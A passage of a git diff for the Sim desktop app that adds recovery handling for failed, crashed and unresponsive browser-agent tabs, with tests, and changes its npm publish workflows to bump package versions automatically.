diff --git a/.github/workflows/publish-sim-cli.yml b/.github/workflows/publish-sim-cli.yml
index f36e514ec69..95c74918a20 100644
--- a/.github/workflows/publish-sim-cli.yml
+++ b/.github/workflows/publish-sim-cli.yml
@@ -11,7 +11,7 @@ permissions:
concurrency:
group: publish-sim-cli-${{ github.ref }}
- cancel-in-progress: true
+ cancel-in-progress: false
jobs:
publish-npm:
@@ -50,6 +50,9 @@ jobs:
NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }}
run: bun pm whoami
+ - name: Auto-bump package version
+ run: bun run bump:npm-packages sim-cli
+
- name: Run tests
working-directory: packages/sim-cli
run: bun run test
@@ -115,20 +118,17 @@ jobs:
tar -xzf "$PACKAGE_PATH" -C "$SMOKE_DIR"
"$SMOKE_DIR/package/dist/index.js" --version
- - name: Check if version already exists
- id: version_check
+ - name: Verify version is unpublished
working-directory: packages/sim-cli
env:
VERSION: ${{ steps.release.outputs.version }}
run: |
if bun pm view "sim@$VERSION" version > /dev/null 2>&1; then
- echo "exists=true" >> "$GITHUB_OUTPUT"
- else
- echo "exists=false" >> "$GITHUB_OUTPUT"
+ echo "sim@$VERSION is already published. The automatic version bump did not produce a unique release." >&2
+ exit 1
fi
- name: Publish to npm
- if: steps.version_check.outputs.exists == 'false'
working-directory: packages/sim-cli
env:
NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }}
@@ -136,14 +136,7 @@ jobs:
run: bun publish --access public --tag "$NPM_TAG" --no-save
- name: Summarize release
- if: steps.version_check.outputs.exists == 'false'
env:
VERSION: ${{ steps.release.outputs.version }}
NPM_TAG: ${{ steps.release.outputs.tag }}
run: echo "Published sim@$VERSION with the '$NPM_TAG' tag."
-
- - name: Summarize skipped release
- if: steps.version_check.outputs.exists == 'true'
- env:
- VERSION: ${{ steps.release.outputs.version }}
- run: echo "Skipped sim@$VERSION because that version is already published."
diff --git a/.github/workflows/publish-sim-setup.yml b/.github/workflows/publish-sim-setup.yml
index e8d9f181b19..0594dee14b6 100644
--- a/.github/workflows/publish-sim-setup.yml
+++ b/.github/workflows/publish-sim-setup.yml
@@ -55,6 +55,9 @@ jobs:
NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }}
run: bun pm whoami
+ - name: Auto-bump package version
+ run: bun run bump:npm-packages sim-setup
+
- name: Check generated deployment config
run: bun run deployment-config:check
@@ -156,7 +159,7 @@ jobs:
VERSION: ${{ steps.release.outputs.version }}
run: |
if bun pm view "sim-setup@$VERSION" version > /dev/null 2>&1; then
- echo "sim-setup@$VERSION is already published. Bump packages/sim-setup/package.json before releasing another build." >&2
+ echo "sim-setup@$VERSION is already published. The automatic version bump did not produce a unique release." >&2
exit 1
fi
diff --git a/apps/desktop/e2e/smoke.spec.ts b/apps/desktop/e2e/smoke.spec.ts
index 6e1277dbeb6..4bc71a1ee87 100644
--- a/apps/desktop/e2e/smoke.spec.ts
+++ b/apps/desktop/e2e/smoke.spec.ts
@@ -113,7 +113,15 @@ test.describe('desktop shell smoke', () => {
await expect(window.locator('.wordmark')).toBeVisible()
await expect(window.locator('.wordmark')).toHaveAttribute('aria-label', 'Sim')
await expect(window.locator('#title')).toHaveText('Can’t connect to Sim')
- await expect(window.locator('#status')).toHaveText('Check status')
+ // The recovery path for a self-hosted shell pointed at a server it cannot
+ // reach. Exercised end to end here because it is the only coverage of the
+ // `server:` local-page IPC gate: the bundled page reads the configuration
+ // over the real preload bridge, and status.sim.ai is withheld because this
+ // origin is not one of Sim's own. `toBeHidden` is load-bearing — the page's
+ // own `button { display: inline-flex }` outranks the UA `[hidden]` rule, so
+ // the attribute alone does not hide it.
+ await expect(window.locator('#server')).toBeVisible()
+ await expect(window.locator('#status')).toBeHidden()
await expect
.poll(() => window.evaluate(() => document.fonts.check('16px "Season Sans"')))
.toBe(true)
diff --git a/apps/desktop/src/main/browser-agent/driver.test.ts b/apps/desktop/src/main/browser-agent/driver.test.ts
index d63d828c324..f165bac475c 100644
--- a/apps/desktop/src/main/browser-agent/driver.test.ts
+++ b/apps/desktop/src/main/browser-agent/driver.test.ts
@@ -412,6 +412,59 @@ describe('executeTool', () => {
)
})
+ it('publishes main-frame load failures and retries their uncommitted URL', async () => {
+ const onPageState = vi.fn()
+ const win = new BrowserWindow()
+ driver.initDriver(
+ {
+ onPageState,
+ onTabsState: vi.fn(),
+ onSessionStatus: vi.fn(),
+ onFillAvailability: vi.fn(),
+ },
+ () => win
+ )
+ driver.activateBrowserScope('chat-test')
+ await driver.executeTool('chat-test', 'browser_open_tab', {})
+ const contents = session.requireTab().view.webContents
+ const eventHandlers = (contents.on as unknown as ReturnType).mock.calls
+ const failLoad = eventHandlers.find(([eventName]) => eventName === 'did-fail-load')?.[1] as
+ | ((...args: unknown[]) => void)
+ | undefined
+ const failedUrl = 'http://localhost:3004/login'
+
+ onPageState.mockClear()
+ failLoad?.({}, -102, 'ERR_CONNECTION_REFUSED', failedUrl, false)
+ failLoad?.({}, -3, 'ERR_ABORTED', failedUrl, true)
+ expect(onPageState).not.toHaveBeenCalled()
+
+ failLoad?.({}, -102, 'ERR_CONNECTION_REFUSED', failedUrl, true)
+
+ expect(onPageState).toHaveBeenLastCalledWith(
+ expect.objectContaining({
+ url: failedUrl,
+ issue: {
+ kind: 'load-error',
+ code: -102,
+ description: 'ERR_CONNECTION_REFUSED',
+ url: failedUrl,
+ },
+ })
+ )
+
+ vi.mocked(contents.loadURL).mockClear()
+ await driver.handlePanelAction('chat-test', { action: 'reload' })
+ expect(contents.loadURL).toHaveBeenCalledWith(failedUrl)
+
+ vi.mocked(contents.loadURL).mockClear()
+ await driver.executeTool('chat-test', 'browser_go_back', {})
+ expect(session.pageIssueForContents(contents)).toBeUndefined()
+ expect(session.canGoForward(contents)).toBe(true)
+
+ await driver.executeTool('chat-test', 'browser_go_forward', {})
+ expect(contents.loadURL).toHaveBeenCalledWith(failedUrl)
+ })
+
it('forces fill availability to replay on scope activation and tab switches', async () => {
const refreshAvailability = vi
.spyOn(fillCoordinator()!, 'refreshAvailability')
diff --git a/apps/desktop/src/main/browser-agent/driver.ts b/apps/desktop/src/main/browser-agent/driver.ts
index 371a1b78a8e..4964ec01691 100644
--- a/apps/desktop/src/main/browser-agent/driver.ts
+++ b/apps/desktop/src/main/browser-agent/driver.ts
@@ -264,14 +264,16 @@ function recordNotice(notice: string): void {
* navigations and tab switches.
*/
function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
+ const issue = session.pageIssueForContents(contents)
return {
scopeId: session.getBrowserScopeId(),
tabId,
- url: contents.getURL(),
- title: contents.getTitle(),
- loading: contents.isLoadingMainFrame(),
- canGoBack: contents.navigationHistory.canGoBack(),
- canGoForward: contents.navigationHistory.canGoForward(),
+ url: issue?.url ?? contents.getURL(),
+ title: issue?.kind === 'load-error' ? '' : contents.getTitle(),
+ loading: issue ? false : contents.isLoadingMainFrame(),
+ canGoBack: session.canGoBack(contents),
+ canGoForward: session.canGoForward(contents),
+ ...(issue ? { issue } : {}),
}
}
@@ -346,6 +348,18 @@ function instrumentTab(contents: WebContents): void {
pushTabsState()
})
)
+ contents.on(
+ 'did-fail-load',
+ inScope((_event, errorCode, errorDescription, validatedURL, isMainFrame) => {
+ if (!isMainFrame || errorCode === 0 || errorCode === -3) return
+ session.recordPageLoadFailure(contents, {
+ kind: 'load-error',
+ code: errorCode,
+ description: errorDescription,
+ url: validatedURL || contents.getURL(),
+ })
+ })
+ )
contents.on(
'did-frame-navigate',
inScope(
@@ -364,7 +378,6 @@ function instrumentTab(contents: WebContents): void {
for (const event of [
'did-navigate-in-page',
'page-title-updated',
- 'did-start-loading',
'did-finish-load',
'did-stop-loading',
] as const) {
@@ -376,6 +389,14 @@ function instrumentTab(contents: WebContents): void {
})
)
}
+ contents.on(
+ 'did-start-loading',
+ inScope(() => {
+ session.notePageLoadStarted(contents)
+ pushPageState(contents)
+ pushTabsState()
+ })
+ )
driverCallbacks?.onSessionStatus(true, scopeId)
}
@@ -435,6 +456,7 @@ export function initDriver(
// The fill affordance belongs to whichever page is in front.
void fillCoordinator()?.refreshAvailability(true)
},
+ onPageStateChanged: pushPageState,
onTabsChanged: pushTabsState,
onTabThemeChanged: (contents, theme) => {
void cdp.setColorScheme(contents, theme).catch((error) => {
@@ -1963,19 +1985,20 @@ async function executeToolInner(
case 'browser_go_forward': {
invalidateSnapshot()
const contents = session.requireAutomationTab().view.webContents
- const history = contents.navigationHistory
assertCurrentExecution()
let completion: Promise
if (tool === 'browser_go_back') {
- if (!history.canGoBack()) throw new ToolError('Cannot go back — no earlier history entry.')
+ if (!session.canGoBack(contents)) {
+ throw new ToolError('Cannot go back — no earlier history entry.')
+ }
completion = waitForLoadComplete(contents, NAVIGATION_TIMEOUT_MS)
- history.goBack()
+ session.goBack(contents)
} else {
- if (!history.canGoForward()) {
+ if (!session.canGoForward(contents)) {
throw new ToolError('Cannot go forward — no later history entry.')
}
completion = waitForLoadComplete(contents, NAVIGATION_TIMEOUT_MS)
- history.goForward()
+ session.goForward(contents)
}
return await navigationResult(contents, completion)
}
@@ -3814,13 +3837,13 @@ export async function handlePanelAction(
const contents = tab.view.webContents
switch (action.action) {
case 'reload':
- contents.reload()
+ session.reloadPage(contents)
return
case 'back':
- if (contents.navigationHistory.canGoBack()) contents.navigationHistory.goBack()
+ session.goBack(contents)
return
case 'forward':
- if (contents.navigationHistory.canGoForward()) contents.navigationHistory.goForward()
+ session.goForward(contents)
return
case 'print':
contents.print({ printBackground: true })
diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts
index 68152b337b5..c11989dc788 100644
--- a/apps/desktop/src/main/browser-agent/session.test.ts
+++ b/apps/desktop/src/main/browser-agent/session.test.ts
@@ -1,7 +1,7 @@
import { mkdtempSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
-import type { MenuItemConstructorOptions } from 'electron'
+import type { MenuItemConstructorOptions, WebContents } from 'electron'
import { beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
@@ -25,6 +25,7 @@ interface MockView {
setWindowOpenHandler: ReturnType
loadURL: ReturnType
reload: ReturnType
+ forcefullyCrashRenderer: ReturnType
getURL: ReturnType
getTitle: ReturnType
close: ReturnType
@@ -40,6 +41,13 @@ interface MockView {
capturePage: ReturnType
findInPage: ReturnType
stopFindInPage: ReturnType
+ navigationHistory: {
+ canGoBack: ReturnType
+ canGoForward: ReturnType
+ getActiveIndex: ReturnType
+ goBack: ReturnType
+ goForward: ReturnType
+ }
}
setBackgroundColor: ReturnType
setBounds: ReturnType
@@ -77,6 +85,7 @@ function freshSession(
onSessionClosed: vi.fn(),
onTabCreated: vi.fn(),
onActiveTabChanged: vi.fn(),
+ onPageStateChanged: vi.fn(),
onTabsChanged: vi.fn(),
onTabThemeChanged: vi.fn(),
onTabNavigated: vi.fn(),
@@ -125,6 +134,17 @@ function hostResizeHandler(win: BrowserWindow): () => void {
return handler as () => void
}
+function mainFrameNavigationStarted(
+ contents: MockView['webContents'],
+ isSameDocument = false
+): void {
+ const handler = contents.on.mock.calls
+ .filter(([eventName]) => eventName === 'did-start-navigation')
+ .at(-1)?.[1]
+ if (typeof handler !== 'function') throw new Error('no navigation-start listener bound')
+ handler({ isMainFrame: true, isSameDocument })
+}
+
describe('browser-agent session', () => {
let win: BrowserWindow
let session: SessionModule
@@ -244,7 +264,12 @@ describe('browser-agent session', () => {
)?.[1] as ((event: unknown, details: { reason: string }) => void) | undefined
renderGone?.({}, { reason: 'crashed' })
- expect(session.withBrowserScope('chat-a', () => session.listTabs())).toEqual([])
+ expect(session.withBrowserScope('chat-a', () => session.listTabs())).toEqual([
+ expect.objectContaining({
+ tabId: first.id,
+ issue: expect.objectContaining({ kind: 'crashed', reason: 'crashed' }),
+ }),
+ ])
expect(session.withBrowserScope('chat-b', () => session.listTabs())).toHaveLength(1)
})
@@ -852,6 +877,150 @@ describe('browser-agent session', () => {
expect(win.webContents.send).toHaveBeenCalledWith('browser-agent:close-find', 'chat-test')
})
+ it('treats a failed navigation as a synthetic Back and Forward history entry', async () => {
+ const mockContents = (session.ensureTab().view as unknown as MockView).webContents
+ const contents = mockContents as unknown as WebContents
+ mockContents.getURL.mockReturnValue('https://example.com/committed')
+ mockContents.navigationHistory.getActiveIndex.mockReturnValue(3)
+ session.recordPageLoadFailure(contents, {
+ kind: 'load-error',
+ code: -102,
+ description: 'ERR_CONNECTION_REFUSED',
+ url: 'https://example.com/failed',
+ })
+
+ expect(session.canGoBack(contents)).toBe(true)
+ expect(session.listTabs()[0]).toMatchObject({
+ url: 'https://example.com/failed',
+ issue: { kind: 'load-error' },
+ })
+
+ expect(session.goBack(contents)).toBe(true)
+ expect(session.listTabs()[0]).toMatchObject({ url: 'https://example.com/committed' })
+ expect(session.listTabs()[0]).not.toHaveProperty('issue')
+ expect(session.canGoForward(contents)).toBe(true)
+
+ mockContents.navigationHistory.getActiveIndex.mockReturnValue(2)
+ mockContents.navigationHistory.canGoForward.mockReturnValue(true)
+ expect(session.goForward(contents)).toBe(true)
+ expect(mockContents.navigationHistory.goForward).toHaveBeenCalledTimes(1)
+ mainFrameNavigationStarted(mockContents)
+
+ mockContents.navigationHistory.getActiveIndex.mockReturnValue(3)
+ expect(session.goForward(contents)).toBe(true)
+ expect(mockContents.loadURL).toHaveBeenCalledWith('https://example.com/failed')
+ })
+
+ it('discards a dismissed failed navigation when a fresh navigation starts', () => {
+ const mockContents = (session.ensureTab().view as unknown as MockView).webContents
+ const contents = mockContents as unknown as WebContents
+ session.recordPageLoadFailure(contents, {
+ kind: 'load-error',
+ code: -105,
+ description: 'ERR_NAME_NOT_RESOLVED',
+ url: 'https://missing.invalid',
+ })
+ session.goBack(contents)
+
+ mainFrameNavigationStarted(mockContents)
+
+ expect(session.canGoForward(contents)).toBe(false)
+ })
+
+ it('discards synthetic Forward after same-document traversal and a fresh navigation', () => {
+ const mockContents = (session.ensureTab().view as unknown as MockView).webContents
+ const contents = mockContents as unknown as WebContents
+ mockContents.navigationHistory.getActiveIndex.mockReturnValue(3)
+ session.recordPageLoadFailure(contents, {
+ kind: 'load-error',
+ code: -102,
+ description: 'ERR_CONNECTION_REFUSED',
+ url: 'https://example.com/failed',
+ })
+
+ session.goBack(contents)
+ mockContents.navigationHistory.canGoBack.mockReturnValue(true)
+ expect(session.goBack(contents)).toBe(true)
+
+ mainFrameNavigationStarted(mockContents, true)
+
+ expect(session.canGoForward(contents)).toBe(true)
+
+ mainFrameNavigationStarted(mockContents)
+
+ expect(session.canGoForward(contents)).toBe(false)
+ })
+
+ it('keeps recovery state scoped to its tab while the user switches tabs', () => {
+ const first = session.ensureTab()
+ const second = session.addTab()
+ const firstContents = (first.view as unknown as MockView).webContents as unknown as WebContents
+ session.recordPageLoadFailure(firstContents, {
+ kind: 'load-error',
+ code: -105,
+ description: 'ERR_NAME_NOT_RESOLVED',
+ url: 'https://missing.invalid',
+ })
+
+ session.switchTab(second.id)
+ expect(session.listTabs().find((tab) => tab.tabId === first.id)?.issue).toMatchObject({
+ kind: 'load-error',
+ })
+ expect(session.listTabs().find((tab) => tab.tabId === second.id)).not.toHaveProperty('issue')
+
+ session.switchTab(first.id)
+ expect(session.requireTab().id).toBe(first.id)
+ expect(session.pageIssueForContents(firstContents)).toMatchObject({ kind: 'load-error' })
+ })
+
+ it('hands focus to an accessible recovery page for active-tab failures', () => {
+ panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
+ const onPageStateChanged = vi.fn()
+ session = freshSession(win, { onPageStateChanged })
+ panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
+ const mockContents = (session.ensureTab().view as unknown as MockView).webContents
+ const contents = mockContents as unknown as WebContents
+
+ session.recordPageLoadFailure(contents, {
+ kind: 'load-error',
+ code: -7,
+ description: 'ERR_TIMED_OUT',
+ url: 'https://slow.example.com',
+ })
+
+ expect(win.webContents.focus).toHaveBeenCalled()
+ expect(onPageStateChanged).toHaveBeenCalledWith(contents)
+ })
+
+ it('recovers unresponsive tabs and clears the issue when Chromium responds again', () => {
+ const mockContents = (session.ensureTab().view as unknown as MockView).webContents
+ const contents = mockContents as unknown as WebContents
+ mockContents.getURL.mockReturnValue('https://example.com')
+ const unresponsive = mockContents.on.mock.calls.find(
+ ([eventName]) => eventName === 'unresponsive'
+ )?.[1] as (() => void) | undefined
+ const responsive = mockContents.on.mock.calls.find(
+ ([eventName]) => eventName === 'responsive'
+ )?.[1] as (() => void) | undefined
+ const gone = mockContents.on.mock.calls.find(
+ ([eventName]) => eventName === 'render-process-gone'
+ )?.[1] as ((event: unknown, details: { reason: string }) => void) | undefined
+
+ unresponsive?.()
+ expect(session.pageIssueForContents(contents)).toEqual({
+ kind: 'unresponsive',
+ url: 'https://example.com',
+ })
+ responsive?.()
+ expect(session.pageIssueForContents(contents)).toBeUndefined()
+
+ unresponsive?.()
+ session.reloadPage(contents)
+ expect(mockContents.forcefullyCrashRenderer).toHaveBeenCalled()
+ gone?.({}, { reason: 'killed' })
+ expect(mockContents.reload).toHaveBeenCalled()
+ })
+
it('drops the find when the user switches to another tab', () => {
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
const first = session.requireTab()
@@ -1888,7 +2057,7 @@ describe('browser-agent session', () => {
)
})
- it('drops a tab whose renderer crashed instead of wedging the session', () => {
+ it('keeps a crashed tab recoverable without disturbing sibling tabs', () => {
const first = session.ensureTab()
const second = session.addTab()
const crashed = (second.view as unknown as MockView).webContents
@@ -1898,14 +2067,17 @@ describe('browser-agent session', () => {
onGone({}, { reason: 'crashed' })
- // Left in place, activeTab() filters the dead view out while activeTabId
- // still names it, so requireTab() reports "no page is open" even though
- // another tab is right there.
- expect(session.listTabs().map((tab) => tab.tabId)).toEqual([first.id])
- expect(session.requireTab().id).toBe(first.id)
+ expect(session.listTabs()).toEqual([
+ expect.objectContaining({ tabId: first.id }),
+ expect.objectContaining({
+ tabId: second.id,
+ issue: expect.objectContaining({ kind: 'crashed', reason: 'crashed' }),
+ }),
+ ])
+ expect(session.requireTab().id).toBe(second.id)
})
- it('reports the session closed when the only tab crashes', async () => {
+ it('keeps the only crashed tab open for recovery', async () => {
const onSessionClosed = vi.fn()
session = freshSession(win, { onSessionClosed })
const contents = (session.ensureTab().view as unknown as MockView).webContents
@@ -1915,8 +2087,12 @@ describe('browser-agent session', () => {
onGone({}, { reason: 'oom' })
- expect(session.listTabs()).toHaveLength(0)
- expect(onSessionClosed).toHaveBeenCalled()
+ expect(session.listTabs()).toEqual([
+ expect.objectContaining({
+ issue: expect.objectContaining({ kind: 'crashed', reason: 'oom' }),
+ }),
+ ])
+ expect(onSessionClosed).not.toHaveBeenCalled()
})
it('hides the panel when the renderer stops renewing its bounds lease', async () => {
diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts
index 08f91419f96..bd13b9de908 100644
--- a/apps/desktop/src/main/browser-agent/session.ts
+++ b/apps/desktop/src/main/browser-agent/session.ts
@@ -6,6 +6,7 @@ import type {
BrowserFindRequest,
BrowserFindResult,
BrowserOmniboxFocusMode,
+ BrowserPageIssue,
BrowserTabState,
BrowserTabsState,
BrowserTheme,
@@ -86,6 +87,10 @@ export interface AgentTab {
view: WebContentsView
pinned: boolean
pendingRestoreUrl?: string
+ pageIssue?: BrowserPageIssue
+ syntheticForward?: { url: string; baseHistoryIndex: number }
+ preserveSyntheticForwardOnNextNavigation?: boolean
+ recoveringUnresponsive?: boolean
}
export interface BrowserSessionPersistence {
@@ -116,6 +121,8 @@ export interface AgentSessionEvents {
onTabClosed: (contents: WebContents) => void
/** The active tab changed (new tab, switch, close). */
onActiveTabChanged: (contents: WebContents) => void
+ /** The active tab's recoverable page state changed without a navigation. */
+ onPageStateChanged: (contents: WebContents) => void
/** The tab list or active tab changed. */
onTabsChanged: () => void
/** Sim's appearance preference changed for an existing tab. */
@@ -1005,6 +1012,128 @@ function focusRendererOmnibox(mode: BrowserOmniboxFocusMode): void {
win.webContents.send('browser-agent:focus-omnibox', mode, getBrowserScopeId())
}
+function tabForContents(contents: WebContents): AgentTab | null {
+ return tabs.find((tab) => tab.view.webContents === contents) ?? null
+}
+
+function publishPageIssue(tab: AgentTab, focusRecovery = false): void {
+ events?.onTabsChanged()
+ if (tab.id !== currentScope.activeTabId) return
+ if (focusRecovery && getBrowserScopeId() === getActiveBrowserScopeId() && isPanelVisible()) {
+ const win = panelWindow()
+ if (win && !win.isDestroyed()) win.webContents.focus()
+ }
+ events?.onPageStateChanged(tab.view.webContents)
+}
+
+/** Returns the recoverable problem currently replacing a tab's native page. */
+export function pageIssueForContents(contents: WebContents): BrowserPageIssue | undefined {
+ return tabForContents(contents)?.pageIssue
+}
+
+/** Records a failed main-frame navigation without losing the last committed page. */
+export function recordPageLoadFailure(
+ contents: WebContents,
+ issue: Extract
+): void {
+ const tab = tabForContents(contents)
+ if (!tab) return
+ tab.pageIssue = issue
+ tab.syntheticForward = undefined
+ publishPageIssue(tab, true)
+}
+
+/** Clears transient recovery state when Chromium begins loading a new document. */
+export function notePageLoadStarted(contents: WebContents): void {
+ const tab = tabForContents(contents)
+ if (!tab) return
+ const changed = Boolean(tab.pageIssue)
+ tab.pageIssue = undefined
+ if (changed) publishPageIssue(tab)
+}
+
+function notePageNavigationStarted(contents: WebContents): void {
+ const tab = tabForContents(contents)
+ if (!tab) return
+ if (tab.preserveSyntheticForwardOnNextNavigation) {
+ tab.preserveSyntheticForwardOnNextNavigation = false
+ } else {
+ tab.syntheticForward = undefined
+ }
+}
+
+/** Includes Sim's failed-navigation entry in the browser's Back availability. */
+export function canGoBack(contents: WebContents): boolean {
+ return (
+ pageIssueForContents(contents)?.kind === 'load-error' || contents.navigationHistory.canGoBack()
+ )
+}
+
+/** Includes a dismissed failed navigation in the browser's Forward availability. */
+export function canGoForward(contents: WebContents): boolean {
+ return (
+ Boolean(tabForContents(contents)?.syntheticForward) || contents.navigationHistory.canGoForward()
+ )
+}
+
+/** Traverses backward while preserving a failed navigation as a forward entry. */
+export function goBack(contents: WebContents): boolean {
+ const tab = tabForContents(contents)
+ if (!tab) return false
+ if (tab.pageIssue?.kind === 'load-error') {
+ tab.syntheticForward = {
+ url: tab.pageIssue.url,
+ baseHistoryIndex: contents.navigationHistory.getActiveIndex(),
+ }
+ tab.pageIssue = undefined
+ publishPageIssue(tab)
+ return true
+ }
+ if (!contents.navigationHistory.canGoBack()) return false
+ tab.preserveSyntheticForwardOnNextNavigation = Boolean(tab.syntheticForward)
+ contents.navigationHistory.goBack()
+ return true
+}
+
+/** Traverses forward through native history before retrying a failed navigation. */
+export function goForward(contents: WebContents): boolean {
+ const tab = tabForContents(contents)
+ if (!tab) return false
+ const syntheticForward = tab.syntheticForward
+ if (syntheticForward) {
+ if (
+ contents.navigationHistory.getActiveIndex() < syntheticForward.baseHistoryIndex &&
+ contents.navigationHistory.canGoForward()
+ ) {
+ tab.preserveSyntheticForwardOnNextNavigation = true
+ contents.navigationHistory.goForward()
+ return true
+ }
+ tab.syntheticForward = undefined
+ void contents.loadURL(syntheticForward.url).catch(() => {})
+ return true
+ }
+ if (!contents.navigationHistory.canGoForward()) return false
+ contents.navigationHistory.goForward()
+ return true
+}
+
+/** Retries the appropriate recovery path for a failed, crashed, or hung page. */
+export function reloadPage(contents: WebContents): void {
+ const tab = tabForContents(contents)
+ const issue = tab?.pageIssue
+ if (issue?.kind === 'load-error') {
+ void contents.loadURL(issue.url).catch(() => {})
+ return
+ }
+ if (issue?.kind === 'unresponsive' && tab) {
+ tab.recoveringUnresponsive = true
+ contents.forcefullyCrashRenderer()
+ return
+ }
+ contents.reload()
+}
+
/** Hands one page selection to the exact app window and chat hosting its tab. */
function addPageSelectionToChat(contents: WebContents, text: string): void {
if (!text.trim() || getBrowserScopeId() !== getActiveBrowserScopeId()) return
@@ -1245,17 +1374,47 @@ function createTabView(): WebContentsView {
contents.on('will-prevent-unload', (event) => {
event.preventDefault()
})
- // A crashed renderer would otherwise stay in `tabs` forever: `activeTab()`
- // filters it out and returns null while `activeTabId` still names it, so
- // `requireTab()` reports "no page is open" even with other tabs open, and
- // the panel goes blank with no way back.
contents.on(
'render-process-gone',
bindToBrowserScope(scopeId, (_event, details) => {
const tab = tabs.find((entry) => entry.view === view)
if (!tab) return
- logger.warn('Browser tab renderer exited; dropping the tab', { reason: details.reason })
- forgetTab(tab)
+ if (tab.recoveringUnresponsive) {
+ tab.recoveringUnresponsive = false
+ contents.reload()
+ return
+ }
+ dismissFind(tab.id)
+ tab.pageIssue = {
+ kind: 'crashed',
+ reason: details.reason,
+ url: tab.pendingRestoreUrl || contents.getURL(),
+ }
+ tab.syntheticForward = undefined
+ logger.warn('Browser tab renderer exited', { reason: details.reason })
+ publishPageIssue(tab, true)
+ })
+ )
+ contents.on(
+ 'unresponsive',
+ bindToBrowserScope(scopeId, () => {
+ const tab = tabs.find((entry) => entry.view === view)
+ if (!tab || tab.pageIssue?.kind === 'crashed') return
+ dismissFind(tab.id)
+ tab.pageIssue = {
+ kind: 'unresponsive',
+ url: tab.pendingRestoreUrl || contents.getURL(),
+ }
+ publishPageIssue(tab, true)
+ })
+ )
+ contents.on(
+ 'responsive',
+ bindToBrowserScope(scopeId, () => {
+ const tab = tabs.find((entry) => entry.view === view)
+ if (!tab || tab.pageIssue?.kind !== 'unresponsive') return
+ tab.pageIssue = undefined
+ publishPageIssue(tab)
})
)
contents.on(
@@ -1344,6 +1503,7 @@ function createTabView(): WebContentsView {
'did-start-navigation',
bindToBrowserScope(scopeId, (details) => {
if (!details.isMainFrame) return
+ notePageNavigationStarted(contents)
events?.onTabNavigated(contents, false)
})
)
@@ -1795,49 +1955,6 @@ export function reorderTab(tabId: string, targetIndex: number): AgentTab {
return tab
}
-/**
- * Drops a tab whose renderer is already gone. Unlike {@link closeTab} this
- * takes no view down (there is nothing left to close), applies to pinned tabs
- * too — a crashed pinned tab is no more usable than any other — and does not
- * offer the page for Reopen Closed Tab, since the user did not close it.
- */
-function forgetTab(tab: AgentTab): void {
- const index = tabs.indexOf(tab)
- if (index < 0) return
- // Before the splice, while the tab is still resolvable: a find left running
- // on a tab that is going away keeps `findingTabId` naming a dead tab and
- // leaves the bar open counting matches on a page nobody can see.
- dismissFind(tab.id)
- clearAutomationIndicatorsForTab(tab.id)
- tabs.splice(index, 1)
- const transferBrowserFocus = currentScope.focusedBrowserTabId === tab.id
- clearFocusedBrowserTab(tab.id)
- detachIfAttached(tab.view)
- if (currentScope.activeTabId === tab.id) {
- currentScope.activeTabId = (tabs[index] ?? tabs[index - 1])?.id ?? null
- layout()
- const active = activeTab()
- if (active) {
- events?.onActiveTabChanged(active.view.webContents)
- }
- }
- if (currentScope.automationTabId === tab.id) {
- currentScope.automationTabId = (tabs[index] ?? tabs[index - 1])?.id ?? null
- applyActiveTabThrottling()
- }
- if (!hasSession() && getBrowserScopeId() === getActiveBrowserScopeId() && isPanelVisible()) {
- addTab()
- if (transferBrowserFocus) currentScope.focusedBrowserTabId = currentScope.activeTabId
- return
- }
- if (transferBrowserFocus) currentScope.focusedBrowserTabId = currentScope.activeTabId
- persistBrowserSession()
- events?.onTabsChanged()
- if (!hasSession()) {
- events?.onSessionClosed()
- }
-}
-
export function closeTab(tabId: string): void {
restoreBrowserSession()
const index = tabs.findIndex((entry) => entry.id === tabId)
@@ -1845,7 +1962,7 @@ export function closeTab(tabId: string): void {
if (tabs[index].pinned) {
throw new SessionError('Pinned tabs cannot be closed. Unpin the tab first.')
}
- // Before the splice, while the tab is still resolvable — see forgetTab.
+ // Before the splice, while the tab is still resolvable, stop page-owned UI.
dismissFind(tabId)
clearAutomationIndicatorsForTab(tabId)
const [tab] = tabs.splice(index, 1)
@@ -2212,14 +2329,18 @@ export async function clearAgentData(kinds: readonly BrowserDataKind[]): Promise
export function listTabs(): BrowserTabState[] {
return tabs
.filter((tab) => !tab.view.webContents.isDestroyed())
- .map((tab) => ({
- tabId: tab.id,
- title: tab.view.webContents.getTitle(),
- url: tab.pendingRestoreUrl || tab.view.webContents.getURL(),
- loading: tab.view.webContents.isLoadingMainFrame(),
- active: tab.id === currentScope.activeTabId,
- pinned: tab.pinned,
- }))
+ .map((tab) => {
+ const issue = tab.pageIssue
+ return {
+ tabId: tab.id,
+ title: issue?.kind === 'load-error' ? '' : tab.view.webContents.getTitle(),
+ url: issue?.url || tab.pendingRestoreUrl || tab.view.webContents.getURL(),
+ loading: issue ? false : tab.view.webContents.isLoadingMainFrame(),
+ active: tab.id === currentScope.activeTabId,
+ pinned: tab.pinned,
+ ...(issue ? { issue } : {}),
+ }
+ })
}
export function getTabsState(): BrowserTabsState {
diff --git a/apps/desktop/src/main/config.test.ts b/apps/desktop/src/main/config.test.ts
index fefba510536..ed60924a261 100644
--- a/apps/desktop/src/main/config.test.ts
+++ b/apps/desktop/src/main/config.test.ts
@@ -9,6 +9,7 @@ import {
createConfigStore,
DEFAULT_ORIGIN,
isSafeInternalPath,
+ isSimCloudOrigin,
partitionForOrigin,
validateOriginInput,
} from '@/main/config'
@@ -145,6 +146,26 @@ describe('createConfigStore', () => {
expect(reloaded.getOrigin()).toBe('https://self-hosted.example')
})
+ // setOrigin writes the whole settings file synchronously on the main thread,
+ // and re-confirming the URL already in the field is the common case in the
+ // server picker.
+ it('does not rewrite settings when setOrigin is given the stored origin', () => {
+ const filePath = tempSettingsPath()
+ const store = createConfigStore(filePath, {})
+ store.setOrigin('https://self-hosted.example')
+ // A sentinel only this test could have written. A rewrite serializes the
+ // in-memory settings over it, so its survival proves no write happened —
